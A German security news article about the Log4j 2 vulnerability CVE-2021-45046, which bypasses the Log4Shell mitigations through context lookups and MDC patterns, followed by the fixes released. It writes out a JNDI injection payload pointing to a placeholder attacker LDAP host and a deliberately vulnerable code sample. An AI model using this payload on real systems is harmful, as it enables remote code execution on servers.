In der Implementierung von JNDI-Platzhaltern in der Log4j 2-Bibliothek wurde eine weitere Verwundbarkeit (CVE-2021-45046) festgestellt, die trotz der in Version 2.15 vorgenommenen Korrekturen auftritt und unabhängig von der Verwendung der Einstellung „log4j2.noFormatMsgLookup“ zum Schutz ist. Das Problem stellt hauptsächlich für ältere Versionen von Log4j 2, die durch das Flag „noFormatMsgLookup“ geschützt sind, eine Gefahr dar, da es ermöglicht, den Schutz vor einer früheren Verwundbarkeit (Log4Shell, CVE-2021-44228) zu umgehen, die die Ausführung eigenen Codes auf dem Server ermöglicht. Bei Nutzern der Version 2.15 beschränkt sich die Ausnutzung auf die Schaffung von Bedingungen für das unerwartete Beenden der Anwendung aufgrund von erschöpften Ressourcen.
Die Verwundbarkeit tritt nur auf Systemen auf, bei denen beim Protokollieren kontextbezogene Abfragen (Context Lookup) wie ${ctx:loginId} oder MDC-Templates (Thread Context Map), beispielsweise %X, %mdc und %MDC, verwendet werden. Die Ausnutzung reduziert sich darauf, Bedingungen zu schaffen, die zur Protokollierung von Daten führen, die JNDI-Platzhalter enthalten, wenn im Anwendungskontext kontextbezogene Abfragen oder MDC-Templates verwendet werden, die die Formatierungsregeln für die Protokollausgabe definieren.
Forscher von LunaSec haben festgestellt, dass für Log4j-Versionen unter 2.15 diese Schwachstelle als neuer Angriffspunkt für Log4Shell verwendet werden kann. Dies führt zur Code-Ausführung, wenn im Logging ThreadContext-Ausdrücke verwendet werden, in die externe Daten gelangen, unabhängig davon, ob der Schutzflag "noMsgFormatLookups" oder das Muster "%m{nolookups}" aktiviert ist.
Der bypass der Sicherheit besteht darin, dass anstelle der direkten Einspeisung von «${jndi:ldap://attacker.com/a}» dieser Ausdruck über den Wert einer Zwischenvariable platziert wird, die in den Formatiervorschriften für die Protokollausgabe verwendet wird. Wenn zum Beispiel bei der Protokollierung die kontextuelle Anfrage ${ctx:apiversion} genutzt wird, kann der Angriff durch die Einspeisung der Daten «${jndi:ldap://attacker.com/a}» in den Wert erfolgen, der in die Variable apiversion geschrieben wird. Beispiel für verwundbaren Code: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Der Wert des HTTP-Headers «X-Api-Version» wird in den ThreadContext übergeben ThreadContext.put("apiversion", apiVersion); // Bei der Protokollierung wird der externe Wert apiversion durch die Einspeisung von ${ctx:apiversion} verarbeitet logger.info("Received a request for API version"); return "Hello, world!"; }
In der Version Log4j 2.15 kann die Verwundbarkeit für DoS-Angriffe genutzt werden, indem im ThreadContext Werte übergeben werden, die zu einer Endlosschleife bei der Verarbeitung des Ausgabemusterformats führen.
Um die Schwachstelle zu beheben, wurden die Updates 2.16 und 2.12.2 veröffentlicht. In der Version Log4j 2.16 wurde neben den in Version 2.15 vorgenommenen Korrekturen und der Bindung von JNDI LDAP-Anfragen an „localhost“ die JNDI-Funktionalität standardmäßig vollständig deaktiviert, und die Unterstützung für Platzhalter in Nachrichten wurde entfernt. Als Sicherheitsmaßnahme wird empfohlen, die Klasse JndiLookup aus dem classpath zu entfernen (z.B. „zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class“).
Updates in den Paketen können auf den Seiten der Distributionen (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) und der Hersteller von Java-Plattformen (GitHub, Docker, Oracle, vmWare, Broadcom, Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure usw.) verfolgt werden.
Quelle: opennet.ru
